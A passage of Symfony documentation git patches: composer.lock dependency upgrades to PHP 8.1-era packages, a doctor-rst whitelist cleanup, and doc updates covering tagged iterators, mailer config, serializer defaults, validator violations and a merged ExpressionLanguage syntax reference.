                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
+                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
-                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/19bd1e4fcd5b91116f14d8533c57831ed00571b6",
+                "reference": "19bd1e4fcd5b91116f14d8533c57831ed00571b6",
                 "shasum": ""
             },
             "require": {
@@ -1187,7 +1294,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1230,7 +1337,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1246,20 +1353,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-19T12:13:01+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.25.0",
+            "version": "v1.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825"
+                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/0abb51d2f102e00a4eefcf46ba7fec406d245825",
-                "reference": "0abb51d2f102e00a4eefcf46ba7fec406d245825",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
+                "reference": "8ad114f6b39e2c98a8b0e3bd907732c207c2b534",
                 "shasum": ""
             },
             "require": {
@@ -1274,7 +1381,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.23-dev"
+                    "dev-main": "1.27-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1313,7 +1420,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.25.0"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.27.0"
             },
             "funding": [
                 {
@@ -1329,187 +1436,24 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-11-30T18:21:41+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php73",
-            "version": "v1.25.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/cc5db0e22b3cb4111010e48785a97f670b350ca5",
-                "reference": "cc5db0e22b3cb4111010e48785a97f670b350ca5",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.23-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "files": [
-                    "bootstrap.php"
-                ],
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php73\\": ""
-                },
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.25.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2021-06-05T21:20:04+00:00"
-        },
-        {
-            "name": "symfony/polyfill-php80",
-            "version": "v1.25.0",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/4407588e0d3f1f52efb65fbe92babe41f37fe50c",
-                "reference": "4407588e0d3f1f52efb65fbe92babe41f37fe50c",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">=7.1"
-            },
-            "type": "library",
-            "extra": {
-                "branch-alias": {
-                    "dev-main": "1.23-dev"
-                },
-                "thanks": {
-                    "name": "symfony/polyfill",
-                    "url": "https://github.com/symfony/polyfill"
-                }
-            },
-            "autoload": {
-                "files": [
-                    "bootstrap.php"
-                ],
-                "psr-4": {
-                    "Symfony\\Polyfill\\Php80\\": ""
-                },
-                "classmap": [
-                    "Resources/stubs"
-                ]
-            },
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Ion Bazan",
-                    "email": "ion.bazan@gmail.com"
-                },
-                {
-                    "name": "Nicolas Grekas",
-                    "email": "p@tchwork.com"
-                },
-                {
-                    "name": "Symfony Community",
-                    "homepage": "https://symfony.com/contributors"
-                }
-            ],
-            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
-            "homepage": "https://symfony.com",
-            "keywords": [
-                "compatibility",
-                "polyfill",
-                "portable",
-                "shim"
-            ],
-            "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.25.0"
-            },
-            "funding": [
-                {
-                    "url": "https://symfony.com/sponsor",
-                    "type": "custom"
-                },
-                {
-                    "url": "https://github.com/fabpot",
-                    "type": "github"
-                },
-                {
-                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
-                    "type": "tidelift"
-                }
-            ],
-            "time": "2022-03-04T08:16:47+00:00"
+            "time": "2022-11-03T14:55:06+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v5.4.8",
+            "version": "v6.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3"
+                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
-                "reference": "597f3fff8e3e91836bb0bd38f5718b56ddbde2f3",
+                "url": "https://api.github.com/repos/symfony/process/zipball/ba6e55359f8f755fe996c58a81e00eaa67a35877",
+                "reference": "ba6e55359f8f755fe996c58a81e00eaa67a35877",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.16"
+                "php": ">=8.1"
             },
             "type": "library",
             "autoload": {
@@ -1537,7 +1481,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.4.8"
+                "source": "https://github.com/symfony/process/tree/v6.2.0"
             },
             "funding": [
                 {
@@ -1553,26 +1497,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-08T05:07:18+00:00"
+            "time": "2022-11-02T09:08:04+00:00"
         },
         {
             "name": "symfony/service-contracts",
-            "version": "v2.5.1",
+            "version": "v3.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/service-contracts.git",
-                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c"
+                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
-                "reference": "24d9dc654b83e91aa59f9d167b131bc3b5bea24c",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/aac98028c69df04ee77eb69b96b86ee51fbf4b75",
+                "reference": "aac98028c69df04ee77eb69b96b86ee51fbf4b75",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
-                "psr/container": "^1.1",
-                "symfony/deprecation-contracts": "^2.1|^3"
+                "php": ">=8.1",
+                "psr/container": "^2.0"
             },
             "conflict": {
                 "ext-psr": "<1.1|>=2"
@@ -1583,7 +1526,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "2.5-dev"
+                    "dev-main": "3.3-dev"
                 },
                 "thanks": {
                     "name": "symfony/contracts",
@@ -1593,7 +1536,10 @@
             "autoload": {
                 "psr-4": {
                     "Symfony\\Contracts\\Service\\": ""
-                }
+                },
+                "exclude-from-classmap": [
+                    "/Test/"
+                ]
             },
             "notification-url": "https://packagist.org/downloads/",
             "license": [
@@ -1620,7 +1566,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/service-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/service-contracts/tree/v3.2.0"
             },
             "funding": [
                 {
@@ -1636,38 +1582,38 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-03-13T20:07:29+00:00"
+            "time": "2022-11-25T10:21:52+00:00"
         },
         {
             "name": "symfony/string",
-            "version": "v5.4.8",
+            "version": "v6.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8"
+                "reference": "863219fd713fa41cbcd285a79723f94672faff4d"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
-                "reference": "3c061a76bff6d6ea427d85e12ad1bb8ed8cd43e8",
+                "url": "https://api.github.com/repos/symfony/string/zipball/863219fd713fa41cbcd285a79723f94672faff4d",
+                "reference": "863219fd713fa41cbcd285a79723f94672faff4d",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.5",
+                "php": ">=8.1",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-intl-grapheme": "~1.0",
                 "symfony/polyfill-intl-normalizer": "~1.0",
-                "symfony/polyfill-mbstring": "~1.0",
-                "symfony/polyfill-php80": "~1.15"
+                "symfony/polyfill-mbstring": "~1.0"
             },
             "conflict": {
-                "symfony/translation-contracts": ">=3.0"
+                "symfony/translation-contracts": "<2.0"
             },
             "require-dev": {
-                "symfony/error-handler": "^4.4|^5.0|^6.0",
-                "symfony/http-client": "^4.4|^5.0|^6.0",
-                "symfony/translation-contracts": "^1.1|^2",
-                "symfony/var-exporter": "^4.4|^5.0|^6.0"
+                "symfony/error-handler": "^5.4|^6.0",
+                "symfony/http-client": "^5.4|^6.0",
+                "symfony/intl": "^6.2",
+                "symfony/translation-contracts": "^2.0|^3.0",
+                "symfony/var-exporter": "^5.4|^6.0"
             },
             "type": "library",
             "autoload": {
@@ -1706,7 +1652,7 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.4.8"
+                "source": "https://github.com/symfony/string/tree/v6.2.2"
             },
             "funding": [
                 {
@@ -1722,20 +1668,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-19T10:40:37+00:00"
+            "time": "2022-12-14T16:11:27+00:00"
         },
         {
             "name": "symfony/translation-contracts",
-            "version": "v2.5.1",
+            "version": "v2.5.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/translation-contracts.git",
-                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07"
+                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/1211df0afa701e45a04253110e959d4af4ef0f07",
-                "reference": "1211df0afa701e45a04253110e959d4af4ef0f07",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
+                "reference": "136b19dd05cdf0709db6537d058bcab6dd6e2dbe",
                 "shasum": ""
             },
             "require": {
@@ -1784,7 +1730,7 @@
                 "standards"
             ],
             "support": {
-                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.1"
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.5.2"
             },
             "funding": [
                 {
@@ -1800,20 +1746,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-01-02T09:53:40+00:00"
+            "time": "2022-06-27T16:58:25+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.10",
+            "version": "v3.5.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "8442df056c51b706793adf80a9fd363406dd3674"
+                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/8442df056c51b706793adf80a9fd363406dd3674",
-                "reference": "8442df056c51b706793adf80a9fd363406dd3674",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/3ffcf4b7d890770466da3b2666f82ac054e7ec72",
+                "reference": "3ffcf4b7d890770466da3b2666f82ac054e7ec72",
                 "shasum": ""
             },
             "require": {
@@ -1828,7 +1774,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "3.3-dev"
+                    "dev-master": "3.5-dev"
                 }
             },
             "autoload": {
@@ -1864,7 +1810,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.10"
+                "source": "https://github.com/twigphp/Twig/tree/v3.5.0"
             },
             "funding": [
                 {
@@ -1876,7 +1822,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2022-04-06T06:47:41+00:00"
+            "time": "2022-12-27T12:28:18+00:00"
         }
     ],
     "packages-dev": [],
@@ -1886,11 +1832,11 @@
     "prefer-stable": true,
     "prefer-lowest": false,
     "platform": {
-        "php": ">=7.4"
+        "php": ">=8.1"
     },
     "platform-dev": [],
     "platform-overrides": {
-        "php": "7.4.14"
+        "php": "8.1.0"
     },
-    "plugin-api-version": "2.2.0"
+    "plugin-api-version": "2.3.0"
 }

From 28c5ce432f4cae676be17eaf3dfe2ed7bc748875 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:13:27 +0100
Subject: [PATCH 2742/5766] Remove obsolete whitelist entries

---
 .doctor-rst.yaml | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 2833840d86f..1afa4342584 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -70,7 +70,6 @@ whitelist:
         - '/FOSUserBundle(.*)\.yml/'
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
-        - '/rst-class/'
         - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
@@ -78,11 +77,9 @@ whitelist:
         - 'code in production without a proxy, it becomes trivially easy to abuse your'
         - '.. _`EasyDeployBundle`: https://github.com/EasyCorp/easy-deploy-bundle'
         - 'The bin/console Command'
-        - '# username is your full Gmail or Google Apps email address'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 0.28.4' # Encore
-        - '.. versionadded:: 2.4.0' # SwiftMailer
         - '.. versionadded:: 1.11' # Messenger (Middleware / DoctrineBundle)
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
         - '.. versionadded:: 1.0.0' # Encore
@@ -92,8 +89,6 @@ whitelist:
         - '123,' # assertion for var_dumper - components/var_dumper.rst
         - '"foo",' # assertion for var_dumper - components/var_dumper.rst
         - '$var .= "Because of this `\xE9` octet (\\xE9),\n";'
-        - "`Deploying Symfony 4 Apps on Heroku`_."
-        - ".. _`Deploying Symfony 4 Apps on Heroku`: https://devcenter.heroku.com/articles/deploying-symfony4"
         - "//                  224, 165, 141, 224, 164, 164, 224, 165, 135])"
         - '.. versionadded:: 0.2' # MercureBundle
         - 'provides a ``loginUser()`` method to simulate logging in in your functional'

From dd613a884ba50123cfd0ebf84b9df30fa5b99523 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 10 Jan 2023 21:02:11 +0100
Subject: [PATCH 2743/5766] [DependencyInjection] Exclude referencing service
 (self) in `TaggedIterator`

---
 service_container/tags.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 24bb4784ce0..24fe85d4358 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -688,10 +688,20 @@ iterator, add the ``exclude`` option:
             ;
         };
 
+.. note::
+
+    In the case the referencing service is itself tagged with the tag being used in the tagged
+    iterator, it is automatically excluded from the injected iterable.
+
 .. versionadded:: 6.1
 
     The ``exclude`` option was introduced in Symfony 6.1.
 
+.. versionadded:: 6.3
+
+    The automatic exclusion of the referencing service in the injected iterable was
+    introduced in  Symfony 6.3.
+
 .. seealso::
 
     See also :doc:`tagged locator services </service_container/service_subscribers_locators>`

From 52de160dea91f5cc2b444182a118a13386b522c9 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 11 Jan 2023 09:30:21 +0100
Subject: [PATCH 2744/5766] Minor

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 01f6df97bd2..d113aaab3fc 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -719,7 +719,7 @@ iterator, add the ``exclude`` option:
 .. versionadded:: 6.3
 
     The automatic exclusion of the referencing service in the injected iterable was
-    introduced in  Symfony 6.3.
+    introduced in Symfony 6.3.
 
 .. seealso::
 

From 7a307dc2d2786ae4b8c720cbe019ebf40eabe495 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Wed, 11 Jan 2023 15:50:43 +0100
Subject: [PATCH 2745/5766] Use when@dev insteadof dev/mailer.yaml

---
 mailer.rst | 22 ++++++++++++----------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 0cf1dc2a34c..b1850ce55c5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -565,7 +565,7 @@ and headers.
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
+        # config/packages/mailer.yaml
         framework:
             mailer:
                 envelope:
@@ -1442,10 +1442,11 @@ the mailer configuration file (e.g. in the ``dev`` or ``test`` environments):
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
-        framework:
-            mailer:
-                dsn: 'null://null'
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    dsn: 'null://null'
 
     .. code-block:: xml
 
@@ -1490,11 +1491,12 @@ a specific address, instead of the *real* address:
 
     .. code-block:: yaml
 
-        # config/packages/dev/mailer.yaml
-        framework:
-            mailer:
-                envelope:
-                    recipients: ['youremail@example.com']
+        # config/packages/mailer.yaml
+        when@dev:
+            framework:
+                mailer:
+                    envelope:
+                        recipients: ['youremail@example.com']
 
     .. code-block:: xml
 

From 13f9766dd87758abad37a376faab84d35555b66f Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 11 Jan 2023 18:26:40 +0100
Subject: [PATCH 2746/5766] [Serializer] Fix default XmlVersion used by
 XmlEncoder

---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index adeb1328c2b..347d04dd72f 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1181,7 +1181,7 @@ Option                          Description
 ==============================  =================================================  ==========================
 ``xml_format_output``           If set to true, formats the generated XML with     ``false``
                                 line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.1``
+``xml_version``                 Sets the XML version attribute                     ``1.0``
 ``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
 ``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
 ``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``

From 549d256f6c26b963ca13fa9070f166b37c3f93ea Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 11 Jan 2023 18:38:20 +0100
Subject: [PATCH 2747/5766] [Validator] Add `getConstraint()` method to
 `ConstraintViolationInterface`

---
 validation.rst | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/validation.rst b/validation.rst
index 5b9fbcb9ce8..6a4f5da69a1 100644
--- a/validation.rst
+++ b/validation.rst
@@ -212,7 +212,13 @@ Inside the template, you can output the list of errors exactly as needed:
 .. note::
 
     Each validation error (called a "constraint violation"), is represented by
-    a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object.
+    a :class:`Symfony\\Component\\Validator\\ConstraintViolation` object. This
+    object allows you, among other things, to get the constraint that caused this
+    violation thanks to the ``ConstraintViolation::getConstraint()`` method.
+
+.. versionadded:: 6.3
+
+    The ``ConstraintViolation::getConstraint()`` method was introduced in Symfony 6.3.
 
 .. index::
    single: Validation; Callables

From 3ecb2820a059a501ccba7f26849fa80990341cfb Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 11 Jan 2023 20:40:28 +0100
Subject: [PATCH 2748/5766] [ExpressionLanguage] Merge docs about
 ExpresssionLanguage

---
 _build/redirection_map                       |   2 +
 components/expression_language.rst           | 578 ++++++++++++++++++-
 components/expression_language/ast.rst       |  49 --
 components/expression_language/caching.rst   |  70 ---
 components/expression_language/extending.rst | 136 -----
 components/expression_language/syntax.rst    | 320 ----------
 reference/constraints/Expression.rst         |   4 +-
 routing.rst                                  |   6 +-
 security/expressions.rst                     |   2 +-
 service_container/expression_language.rst    |   2 +-
 10 files changed, 571 insertions(+), 598 deletions(-)
 delete mode 100644 components/expression_language/ast.rst
 delete mode 100644 components/expression_language/caching.rst
 delete mode 100644 components/expression_language/extending.rst
 delete mode 100644 components/expression_language/syntax.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 064f9c8261a..764f690c213 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -538,3 +538,5 @@
 /components/security /security
 /components/var_dumper/advanced /components/var_dumper#advanced-usage
 /components/yaml/yaml_format /components/yaml#yaml-format
+/components/expression_language/syntax /components/expression_language#expression-language-syntax
+/components/expression_language/extending /components/expression_language#expression-language-extending
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 988bda75884..be84457995f 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -73,11 +73,317 @@ The main class of the component is
 
     var_dump($expressionLanguage->compile('1 + 2')); // displays (1 + 2)
 
+.. _expression-language-syntax:
+
+.. index::
+    single: Syntax; ExpressionLanguage
+
 Expression Syntax
 -----------------
 
-See :doc:`/components/expression_language/syntax` to learn the syntax of the
-ExpressionLanguage component.
+The ExpressionLanguage component uses a specific syntax which is based on the
+expression syntax of Twig. In this document, you can find all supported
+syntaxes.
+
+Supported Literals
+~~~~~~~~~~~~~~~~~~
+
+The component supports:
+
+* **strings** - single and double quotes (e.g. ``'hello'``)
+* **numbers** - e.g. ``103``
+* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
+* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
+* **booleans** - ``true`` and ``false``
+* **null** - ``null``
+* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+
+.. caution::
+
+    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
+    and 8 backslashes (``\\\\\\\\``) in a regex::
+
+        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
+        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
+
+    Control characters (e.g. ``\n``) in expressions are replaced with
+    whitespace. To avoid this, escape the sequence with a single backslash
+    (e.g.  ``\\n``).
+
+.. _component-expression-objects:
+
+Working with Objects
+~~~~~~~~~~~~~~~~~~~~
+
+When passing objects into an expression, you can use different syntaxes to
+access properties and call methods on the object.
+
+Accessing Public Properties
+...........................
+
+Public properties on objects can be accessed by using the ``.`` syntax, similar
+to JavaScript::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit.variety',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``Honeycrisp``.
+
+Calling Methods
+...............
+
+The ``.`` syntax can also be used to call methods on an object, similar to
+JavaScript::
+
+    class Robot
+    {
+        public function sayHi($times)
+        {
+            $greetings = [];
+            for ($i = 0; $i < $times; $i++) {
+                $greetings[] = 'Hi';
+            }
+
+            return implode(' ', $greetings).'!';
+        }
+    }
+
+    $robot = new Robot();
+
+    var_dump($expressionLanguage->evaluate(
+        'robot.sayHi(3)',
+        [
+            'robot' => $robot,
+        ]
+    ));
+
+This will print out ``Hi Hi Hi!``.
+
+.. _component-expression-functions:
+
+Working with Functions
+~~~~~~~~~~~~~~~~~~~~~~
+
+You can also use registered functions in the expression by using the same
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
+function by default: ``constant()``, which will return the value of the PHP
+constant::
+
+    define('DB_USER', 'root');
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("DB_USER")'
+    ));
+
+This will print out ``root``.
+
+.. tip::
+
+    To read how to register your own functions to use in an expression, see
+    ":ref:`expression-language-extending`".
+
+.. _component-expression-arrays:
+
+Working with Arrays
+~~~~~~~~~~~~~~~~~~~
+
+If you pass an array into an expression, use the ``[]`` syntax to access
+array keys, similar to JavaScript::
+
+    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
+
+    var_dump($expressionLanguage->evaluate(
+        'data["life"] + data["universe"] + data["everything"]',
+        [
+            'data' => $data,
+        ]
+    ));
+
+This will print out ``42``.
+
+Supported Operators
+~~~~~~~~~~~~~~~~~~~
+
+The component comes with a lot of operators:
+
+Arithmetic Operators
+....................
+
+* ``+`` (addition)
+* ``-`` (subtraction)
+* ``*`` (multiplication)
+* ``/`` (division)
+* ``%`` (modulus)
+* ``**`` (pow)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'life + universe + everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    ));
+
+This will print out ``42``.
+
+Bitwise Operators
+.................
+
+* ``&`` (and)
+* ``|`` (or)
+* ``^`` (xor)
+
+Comparison Operators
+....................
+
+* ``==`` (equal)
+* ``===`` (identical)
+* ``!=`` (not equal)
+* ``!==`` (not identical)
+* ``<`` (less than)
+* ``>`` (greater than)
+* ``<=`` (less than or equal to)
+* ``>=`` (greater than or equal to)
+* ``matches`` (regex match)
+
+.. tip::
+
+    To test if a string does *not* match a regex, use the logical ``not``
+    operator in combination with the ``matches`` operator::
+
+        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
+
+    You must use parentheses because the unary operator ``not`` has precedence
+    over the binary operator ``matches``.
+
+Examples::
+
+    $ret1 = $expressionLanguage->evaluate(
+        'life == everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+    $ret2 = $expressionLanguage->evaluate(
+        'life > everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+Both variables would be set to ``false``.
+
+Logical Operators
+.................
+
+* ``not`` or ``!``
+* ``and`` or ``&&``
+* ``or`` or ``||``
+
+For example::
+
+    $ret = $expressionLanguage->evaluate(
+        'life < universe or life < everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    );
+
+This ``$ret`` variable will be set to ``true``.
+
+String Operators
+................
+
+* ``~`` (concatenation)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'firstName~" "~lastName',
+        [
+            'firstName' => 'Arthur',
+            'lastName' => 'Dent',
+        ]
+    ));
+
+This would print out ``Arthur Dent``.
+
+Array Operators
+...............
+
+* ``in`` (contain)
+* ``not in`` (does not contain)
+
+For example::
+
+    class User
+    {
+        public $group;
+    }
+
+    $user = new User();
+    $user->group = 'human_resources';
+
+    $inGroup = $expressionLanguage->evaluate(
+        'user.group in ["human_resources", "marketing"]',
+        [
+            'user' => $user,
+        ]
+    );
+
+The ``$inGroup`` would evaluate to ``true``.
+
+Numeric Operators
+.................
+
+* ``..`` (range)
+
+For example::
+
+    class User
+    {
+        public $age;
+    }
+
+    $user = new User();
+    $user->age = 34;
+
+    $expressionLanguage->evaluate(
+        'user.age in 18..45',
+        [
+            'user' => $user,
+        ]
+    );
+
+This will evaluate to ``true``, because ``user.age`` is in the range from
+``18`` to ``45``.
+
+Ternary Operators
+.................
+
+* ``foo ? 'yes' : 'no'``
+* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
